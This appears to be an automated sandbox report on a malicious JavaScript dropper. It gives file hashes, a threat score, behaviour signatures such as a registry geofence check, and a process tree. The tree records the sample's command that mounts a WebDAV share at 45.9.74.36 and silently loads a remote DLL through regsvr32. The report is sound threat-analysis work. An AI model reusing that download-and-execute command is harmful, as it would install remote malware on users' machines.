Analysis

  • max time kernel
    140s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 04:24

General

  • Target

    23312213452009432234.js

  • Size

    3KB

  • MD5

    3f1cdde0e714fc72fba22fe9a4b1de27

  • SHA1

    e9e8a2e0d9f562d349bf19a673724f6bad2c1683

  • SHA256

    95dce3345ff7b76bedd40f29b889dbc67f14a5ac8c692bb1a4ca0a485b94f9fb

  • SHA512

    a5d9a32b8a865602a461a391a7aebf3c7df37c0cff981766f83f5ca4dba57db60a31cf830899d8b7f3a7042a14c54a9e57c5055d29374af5911c03f6d3420f3f

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\23312213452009432234.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3400
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\15482190676437.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1504
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:548

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads